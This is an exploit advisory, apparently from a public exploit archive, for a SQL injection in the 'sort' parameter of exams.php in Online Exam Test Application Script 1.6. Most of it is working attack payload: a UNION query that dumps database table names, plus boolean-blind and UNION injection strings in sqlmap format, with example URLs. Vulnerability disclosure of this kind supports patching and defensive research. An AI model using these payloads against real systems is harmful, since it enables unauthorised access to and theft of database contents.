Online Exam Test Application Script 1.6 SQL Injection

Online Exam Test Application Script version 1.6 suffers from a remote SQL injection vulnerability.


MD5 | f8e74600e7ca1a887969409b59d532cc

# # # # # 
# Exploit Title: Online Exam Test Application Script 1.6 - 'Exams.php 'sort' SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/online-exam-test-application/
# Version: 1.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/exams.php?sort=[SQL]
#
# -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:[email protected]%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
#
# http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:[email protected]%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
#
# Parameter: sort (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: sort=4 AND 9300=9300
#
# Type: UNION query
# Title: Generic UNION query (NULL) - 6 columns
# Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya
#
# # # # #


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